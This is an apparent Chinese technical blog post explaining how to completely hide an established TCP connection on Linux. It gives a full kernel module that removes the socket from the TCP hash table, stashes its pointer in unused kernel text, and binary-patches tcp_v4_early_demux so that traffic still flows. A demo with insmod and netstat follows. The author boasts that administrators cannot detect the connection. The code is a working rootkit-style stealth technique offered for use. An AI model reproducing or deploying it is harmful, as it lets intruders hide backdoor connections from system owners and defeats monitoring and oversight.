Linux系统中如何彻底隐藏一个TCP连接?

前面的文章中,我稍微描述了一下如何隐藏一个TCP连接:
https://blog.csdn.net/dog250/article/details/105372214

在上文中,我采用了 传统 的做法,即hook住proc的/proc/net/tcp展示接口,但这个方法并没有可观赏性,说白了有点像掩耳盗铃,毕竟连接还是在那里的,你自己去遍历系统的TCP ehash表,还是能看到所有大的TCP连接的。

所以,今天我来用 手艺活儿 的方法,庖丁解牛般演示如何彻底隐藏一个TCP连接。

看看那些各种hook proc展示接口的掩耳盗铃法,多么的复杂!多么的复杂啊!看看我这个,多么的彻底!多么的简单啊!

所谓的彻底隐藏,就是将一个TCP连接从系统的TCP ehash表中摘除!这个很容易,调用 inet_unhash 即可了。

问题是,摘除了之后,我们把它放在哪里,才能让进来的数据包顺利匹配到该连接呢?

答案还是二进制hook。

我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置,把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址:

#define ROOM_ADDR   0xffffffff815622dd

它就是ip_rcv函数和ip4_frag_match之间的无用空隙。当然了,我们也可以动态分配内存,但是并不优雅。

来吧,下面是代码:

// hide_connection.c
#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>
/* 
 * version 1.0
 * 缺点:
 *	1. 仅仅可以藏一个sock,后续可以增加一个新的藏污纳垢专有hlist,同样可以见缝插针
 *	2. 仅仅支持目标端口匹配,即stub_func_tcp4_demux仅仅根据目标端口过滤
 * 但这一切都是为了简单!简单!简单!
 */

char *stub = NULL;

// 用于立即数替换
#define	ROOM_MAGIC	0x1122334455667788
#define	PORT_MAGIC	0x3412

// hook住tcp_v4_early_demux后执行该函数
void stub_func_tcp4_demux(struct sk_buff *skb)
{
	struct iphdr *iph;
    struct tcphdr *th;
	struct sock *sk;

	if (skb->pkt_type != PACKET_HOST)
		return;

	if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))
		return;

	iph = ip_hdr(skb);
	th = tcp_hdr(skb);

	if (th->doff < sizeof(struct tcphdr) / 4)
		return;

	// PORT_MAGIC将会被目标端口所替换
	if (ntohs(th->dest) == PORT_MAGIC) {
		// ROOM_MAGIC将会被存放sock结构体的内存地址所替换,一个指针即可。
		struct sock **psk = (struct sock **)ROOM_MAGIC;
		sk = *psk; // 取出被藏匿的sock结构体地址

		atomic_inc_not_zero(&sk->sk_refcnt);
		skb->sk = sk;
		skb->destructor = sock_edemux;
		if (sk->sk_state != TCP_TIME_WAIT) {
			struct dst_entry *dst = sk->sk_rx_dst;

			if (dst)
				dst = dst_check(dst, 0);
			if (dst &&
				inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)
				skb_dst_set_noref(skb, dst);
		}
		goto out;
	}
	return;
out:
	// 不再执行原始的tcp_v4_early_demux函数,skip掉它的堆栈。
	asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

static int hide = 1;
module_param(hide, int, 0444);

static __be16 sport = 1234;
module_param(sport, ushort, 0444);

static __be16 dport = 1234;
module_param(dport, ushort, 0444);

static __be32 saddr = 0;
module_param(saddr, uint, 0444);

static __be32 daddr = 0;
module_param(daddr, uint, 0444);

static int ifindex = 0;
module_param(ifindex, int, 0444);

#define	ROOM_ADDR	0xffffffff815622dd

void restore_connection(void)
{
	struct sock *sk, **psk;

	psk = (struct sock **)ROOM_ADDR;
	sk = *psk;

	__inet_hash_nolisten(sk, NULL);
}

static int __init hideconn_init(void)
{
	s32 offset;
	char *_tcp4_early_demux, *stub_demux;
	unsigned long hide_psk[1];
	unsigned short aport[1];
	struct sock **hide_sk, *sk = NULL;
	unsigned long psk_addr = 0;
	int i;
	unsigned long *scan;
	unsigned short *sscan;

	_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");
	if (!_tcp4_early_demux) {
		return -1;
	}

	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		return -1;
	}

	if (hide == 0) { // 恢复TCP连接,将其重新插入TCP ehash表
		restore_connection();

		offset = *(unsigned int *)&_tcp4_early_demux[1];
		stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);

		get_online_cpus();
		mutex_lock(_text_mutex);
		_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);
		mutex_unlock(_text_mutex);
		put_online_cpus();

		vfree(stub);
		return -1;
	}

	stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));

/*
// 仅仅藏匿一个socket
#define SIZE	1
	// 如果我们采用动态分配内存的方式,就必须想办法能找到它。
	// 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择!
	hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
*/
	// 但为了更加trick,我还是选择藏污纳垢的方式来见缝插针!
	hide_sk = (struct sock **)ROOM_ADDR;
	if (!stub_demux || !hide_sk) {
		return -1;
	}

	// 根据参数传来的4元组来查找socket!
	sk = inet_lookup_established(&init_net, &tcp_hashinfo,
                            saddr, htons(sport), daddr, htons(dport), ifindex);
	if (!sk) {
		vfree(stub_demux);
		return -1;
	}

	*hide_sk = sk;
	psk_addr = (unsigned long)hide_sk;
	hide_psk[0] = psk_addr;
	stub = (void *)stub_func_tcp4_demux;

	// 扫描stub查找并替换“隐藏sock的内存地址”
	scan = (unsigned long *)stub;
	for (i = 0; i < 0x1ff; i++) {
		scan = (unsigned long *)&stub[i];
		if (*scan == ROOM_MAGIC)
			break;
	}
	_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));

	// 扫描stub查找并替换目标端口
	sscan = (unsigned short *)stub;
	for (i = 0; i < 0x1ff; i++) {
		sscan = (unsigned short *)&stub[i];
		if (ntohs(*sscan) == PORT_MAGIC)
			break;
	}
	aport[0] = htons(dport);
	_text_poke_smp(&stub[i], aport, sizeof(aport));

	memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);
	stub = (void *)stub_demux;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 将TCP连接从ehash摘除
	inet_unhash(sk);
	sock_put(sk);

	// 事了拂衣去,深藏身与名!
	return -1;
}

static void __exit hideconn_exit(void)
{
}

module_init(hideconn_init);
module_exit(hideconn_exit);
MODULE_LICENSE("GPL");

好了,让我们演示一把。

首先在机器上启动一个nc,然后另外一台机器上启动另一个nc或者telnet来连接它:

[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc

然后按照展示的四元组来加载模块:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
[root@localhost ~]# echo $?
1

看来,连接已经被隐藏掉了。然而连接还在,连接它的那台机器还可以和它通信:

root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222
Trying 192.168.56.110...
Connected to 192.168.56.110.
Escape character is '^]'.
11111
3333333
222222222222222

在本机看来:

[root@localhost ~]# nc -l 2222
11111
3333333
222222222222222

双方在不停地相互echo。

好了,玩够了,现在让我们恢复这个TCP连接:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc
[root@localhost ~]# echo $?
0

我起初想的是,靠动态内存分配,在系统中营造一个TCP连接的小王国,或者说进程的小王国,把隐藏掉的TCP连接或者进程均放在这些小王国里,只有我自己知道它们在哪里:

  • 它们在内核函数的间隙。
  • 它们在任意位置。
  • 它们的地址被分为4个部分,每个部分2字节,这样只需4个不连续的2字节间隙即可。
  • 它们甚至可以一个字节一个字节拼起来形成一个地址。

以这种方式隐藏掉的TCP连接,是比较彻底的隐藏方式,经理基本是无法查出来的。

如果你说CFI,好吧,一般的经理不懂CFI的,不过无论怎样,经理的皮鞋都是真皮的。


浙江温州皮鞋湿,下雨进水不会胖

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值